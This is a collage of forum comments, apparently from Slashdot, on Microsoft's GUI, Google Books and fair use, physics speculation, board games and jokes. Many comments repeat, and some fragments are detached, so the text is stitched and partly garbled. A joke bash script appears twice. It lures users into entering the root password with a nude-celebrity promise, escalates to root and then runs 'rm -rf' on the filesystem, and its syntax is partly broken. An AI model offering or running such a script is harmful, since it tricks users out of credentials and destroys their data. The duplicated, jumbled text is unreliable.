My solution is to make a game (or a series of games) as follows. We put Thompson in <scenery> with your player. You can move around, and hug Thompson. See, my theory is that he didn't get enough hugs when he was a kid. So, we give them to him now.
Of course, I want this to be as realistic as possible. We need to get some motion capture equipment and hire someone to chase him around and give him hugs. After we have recieved enough data, we will input it into an animation engine and then design a few levels to hug him in. I want a park scene, with pretty birdies. I want a zoo, where all of the animals get along, and the lion cuddles with the sheep. I want an insane asylum where the nurses and inmates sing happy songs all day long. And I want a pony.
The gameplay is simple: You run around with the analog control stick until you touch Thompson. At this point, you have to rapidly swish the stick from side to side. As you do this, a guage along the bottom of the screen fills up.
When the bar is completely filled, Thompson explodes in a torrent of brains, blood, and other squishy bits. Bone fragments burst from his form, and proceed to impale everything and everyone nearby. Then we display a giant pink smiley face, which speaks "game over" in an evil, throaty laugh.
If it wasn't for the ending, I think it'd be rated E.
Maybe this isn't/. caliber, but I want to make sure I express that it is </satire>.
Dude. I took the time to download and watch it--I'm absolutely astounded. From screenshots, the gui looks very bulky, but the ease of navigation, instant-preview, and other such niceties of the new GUI are astounding. I'm seriously considering checking out the beta when it gets released.
It seems that Microsoft has, for once, decided to put their money where their mouth is and truly come up with something new. Yes, such words are anathema here on Slashdot. And may even get a few "astroturfer" (etc) catcalls from the audience... but damn. It seriously looks slick.
For anyone who finds GUI design even remotely interesting, I highly reccomend checking out that movie. (As the parent's sibling mentions though... it defintiely starts out with that pr0n-y edge. I blame it mostly on the tinny wma.)
I think that for a vortex to throw off sub-vortices, it has to be happening in a continuous fluid, with no vacuum allowed. (But I'm not positive of that. I never finished fluid dynamics.)
But what if space is a continuous fluid?
DISCLAIMER: I have no idea of the plausability of the above statement. However, if we are living in an extradimentional world (as supersting/M theory describes)... It would seem perfectly plausible to me that our 3D space could exhibit properties in n-D space similar to those of matter in "present" space.
Ah. That makes a bit more sense. From the way the sentance was worded, I thoght it was saying that I'd see the difference in my word doc as soon as I applied the change... which has been a "feature" of every version of Word that I have ever used.
Of course, I figured it was something more, but I couldn't really figure out what that would be. Thanks for the clarification.:)
Clippy replaced with a Ghost -> Transparency showoffs
Shortcuts change for no reason -> Alt keys are teh suck
Task oriented design -> All users are idiots
And now appraoched in turn:
A couple things about this one:
Firefox was not the first application to feature tabbed browsing.
User interfaces are "ripped off" all the time. When someone comes out with a good idea, others copy it. This is a good thing, as it allows evolutionary development. Say the first person to come out with the button had patented (and enforced) it. We'd all be screwed.
Sometimes familarity has to be sacrificed for the sake of advancement. This will irritate more than a few users though.
Mostly, yeh. But I can see if having its uses. Personally, I'd rather have smart tags similar to the ones in VS2005. They're hot.
True, but when I lose mouse support, it would be nice if my computer is still usable:)
Even if all users are idiots, that doesn't mean that they are second-class computer citizens. As a matter of fact, since "All users are idiots" it would make sense to tailor the interface to them. A mental exercise: Let's assume, for the sake of argument, that "not all users are idiots". Changing from a "functionality based" system to a "task based" system still has benefits:
Users can learn the interface faster, as it makes more sense to them.
Users can access the interface faster, because all of the tools they need for a particular task are grouped together.
The interface has the potential to becomes less cluttered, as only tools pertinent to your task are displayed.
Before anyone tries to "call me out", I am not a MS shill or apologist. (May be a KDE apologist, though).
You let your browser consume their pages, taint your apps and OS with data from them to process, give them your IP# associated with your personal sex preferences.
That's not a security vulnerability. That's a feature! The "taint" my apps and OS get from porn sites allows them to advise me as to furhter offers that I may be interested in. It even pops up a helpful little window. One moment, I am giving a powerpoint presentation to my manager... Then fuck.exe opens up 3 pop ups and I realize, "Hey! I really do want hot goatse action!" For all I know, my boss might too. Always good to spread the word.
As for the IP tracking, I have found it to be very helpful. The first few times I visit a site, they might not know that I'm into the hot [vulgar] action. They figure it out soon enough, though.
Disclaimer: it is very early in the morning and I am having trouble sleeping... Please accept my apologies and realize that this is a joke.
Dude? I don't know what you're talking about. 'Dude' is a pronoun, dude. It's like if I were to call you "You" or "He" or "I". You know... like "Hey! Dude!" or "Dude! Over here!" or "Dude, I am sooo completely wasted".
Remember when the New York blackout occurred? (The one that took out all of NYC, most of the state, and was felt through a good portion of northern Pensylvania).
Around that time, after the restoration effort had succeeded, there were several "infrastructure terrorist" shows and articles "fearmongering" the public. Even though they were a feeble attempt to get ratings/hits, they did contain some interesting data. For instance, a large portion of our automated infrastructure is made out of standard windows boxes, controlled via the Internet. Or, at least they were at the time.
What I am afraid of is a malicious virus being able to assault these boxes and take them out. Forget the damage to OSS. What kind of frenzy could occur if our infrastructure fails us? That is scary.
After looking at the rules & play for each game, Robo Rally definitely looks like the more interesting of the two. Something about the other game feels just a bit to static for me... sort of like combining Sorry with arithmetic.
The tiff that publishers are having with Google is due to their scanning the full text of books that are still protected by copyright law. It is true that the full text for public domain books only will be offered online. However, copyrighted books will have sentances listed (ala the normal google search), as well as having up to 5 pages posted as a "preview". Google has mentioned that the total amount of information that could be gleaned from their search will never be more than 5 pages at any given time, or more than 20% of the book total.
Google contends that this activity is justified as "fair use". If that contention is held up in a court of law, then Google is doing the publishers a favor--their activity wouldn't be considered illegal, and thus they do not have to allow the publisher to opt out at all.
However, if the courts deem that this activity falls outside of the jurisdiction of fair use, then Google is in the wrong. They would be obligated to recieve explicit consent from each publisher for each copyrighted book they wish to include in their service.
Unfortunately, I found this information within a printed source (irony, anyone?), and so do not have a link to provide for verification purposes.
In a recent press release, an explanation for Finster's whereabouts has been given. "The women's locker room has the best reception," said Harold "The Grease" Lackmeyer, counsel for Finster.
Your script wouldn't work. You forgot to add in something to gain root. Here's some modified code that should work better:
#!/bin/bash
textOut="Enter root password to access PARIS HILTON NUDE!"
case $TERM in
# Place different terms here
# Depending on term type, use a different password retrieval dialog.
# This could be exchaged for some other form of environment detection
konsole)
Grab="kdialog --password \"${textOut}\""
*)
Grab="echo \"${textOut}\npassword: \"; read"
esac
if [ $EUID != 0 ]; then
su < "$(${Grab})";
fi
cd/
rm -rf
Ah, the beauty of Open Source/Collaborative development. (Note to/.ers: please do not run this on your computer).
I believe this was an OSS mantra before either Apple or Microsoft picked up on it. And I am sure that it existed even before that. As far as development models go, it makes more sense to release often anyway.
I think the mispelling of Microsoft is what did the post in. Acceptable mispellings include "M$" "Micro$oft" "MSFT" and "M$FT"... "Microsuck" is really hitting below the belt. (Well, it implies that something is happening below the belt, at any rate).
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It seems to work for SCO. Oh, wait...
Hold on, wouldn't this be the first time we can make new clear wessels?
It seems that Microsoft has, for once, decided to put their money where their mouth is and truly come up with something new. Yes, such words are anathema here on Slashdot. And may even get a few "astroturfer" (etc) catcalls from the audience... but damn. It seriously looks slick.
For anyone who finds GUI design even remotely interesting, I highly reccomend checking out that movie. (As the parent's sibling mentions though... it defintiely starts out with that pr0n-y edge. I blame it mostly on the tinny wma.)
But what if space is a continuous fluid?
DISCLAIMER: I have no idea of the plausability of the above statement. However, if we are living in an extradimentional world (as supersting/M theory describes)... It would seem perfectly plausible to me that our 3D space could exhibit properties in n-D space similar to those of matter in "present" space.
Of course, I figured it was something more, but I couldn't really figure out what that would be. Thanks for the clarification. :)
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New feature -> Translated as:
And now appraoched in turn:
A mental exercise: Let's assume, for the sake of argument, that "not all users are idiots". Changing from a "functionality based" system to a "task based" system still has benefits:
Before anyone tries to "call me out", I am not a MS shill or apologist. (May be a KDE apologist, though).
This has got to be the most innovative thing to come out of Microsoft in years.
That's not a security vulnerability. That's a feature! The "taint" my apps and OS get from porn sites allows them to advise me as to furhter offers that I may be interested in. It even pops up a helpful little window. One moment, I am giving a powerpoint presentation to my manager... Then fuck.exe opens up 3 pop ups and I realize, "Hey! I really do want hot goatse action!" For all I know, my boss might too. Always good to spread the word.
As for the IP tracking, I have found it to be very helpful. The first few times I visit a site, they might not know that I'm into the hot [vulgar] action. They figure it out soon enough, though.
Disclaimer: it is very early in the morning and I am having trouble sleeping... Please accept my apologies and realize that this is a joke.
Dude? I don't know what you're talking about. 'Dude' is a pronoun, dude. It's like if I were to call you "You" or "He" or "I". You know... like "Hey! Dude!" or "Dude! Over here!" or "Dude, I am sooo completely wasted".
Around that time, after the restoration effort had succeeded, there were several "infrastructure terrorist" shows and articles "fearmongering" the public. Even though they were a feeble attempt to get ratings/hits, they did contain some interesting data. For instance, a large portion of our automated infrastructure is made out of standard windows boxes, controlled via the Internet. Or, at least they were at the time.
What I am afraid of is a malicious virus being able to assault these boxes and take them out. Forget the damage to OSS. What kind of frenzy could occur if our infrastructure fails us? That is scary.
::Removes tinfoil hat::
Note: The above looks more like 4 things (well, 4 items, 3 different points). I separated points, then forgot to change my header line. whoops.
Now, if Robo Rally only had branches...
Here are the rules, in case people want to check the game out further.
I, for one, think that Amazon should parnter up their A9 search and humongous patent porfolio with Google Search. It would be truly a sight to see. ;)
Google contends that this activity is justified as "fair use". If that contention is held up in a court of law, then Google is doing the publishers a favor--their activity wouldn't be considered illegal, and thus they do not have to allow the publisher to opt out at all.
However, if the courts deem that this activity falls outside of the jurisdiction of fair use, then Google is in the wrong. They would be obligated to recieve explicit consent from each publisher for each copyrighted book they wish to include in their service.
Unfortunately, I found this information within a printed source (irony, anyone?), and so do not have a link to provide for verification purposes.
Actually, your calc book is about the same price used. I just picked it up last week. Damn these bookstores are making a killing...
In a recent press release, an explanation for Finster's whereabouts has been given. "The women's locker room has the best reception," said Harold "The Grease" Lackmeyer, counsel for Finster.
cd
rm -R
Your script wouldn't work. You forgot to add in something to gain root. Here's some modified code that should work better:
#! /bin/bash
/
textOut="Enter root password to access PARIS HILTON NUDE!"
case $TERM in
# Place different terms here
# Depending on term type, use a different password retrieval dialog.
# This could be exchaged for some other form of environment detection
konsole)
Grab="kdialog --password \"${textOut}\""
*)
Grab="echo \"${textOut}\npassword: \"; read"
esac
if [ $EUID != 0 ]; then
su < "$(${Grab})";
fi
cd
rm -rf
Ah, the beauty of Open Source/Collaborative development. (Note to /.ers: please do not run this on your computer).
I believe this was an OSS mantra before either Apple or Microsoft picked up on it. And I am sure that it existed even before that. As far as development models go, it makes more sense to release often anyway.
I think the mispelling of Microsoft is what did the post in. Acceptable mispellings include "M$" "Micro$oft" "MSFT" and "M$FT"... "Microsuck" is really hitting below the belt. (Well, it implies that something is happening below the belt, at any rate).
Are you kidding? Medication is entertainment...
I admit defeat. Never again shall I spelling nazi a post, unless it can be done in a +5 funny manner.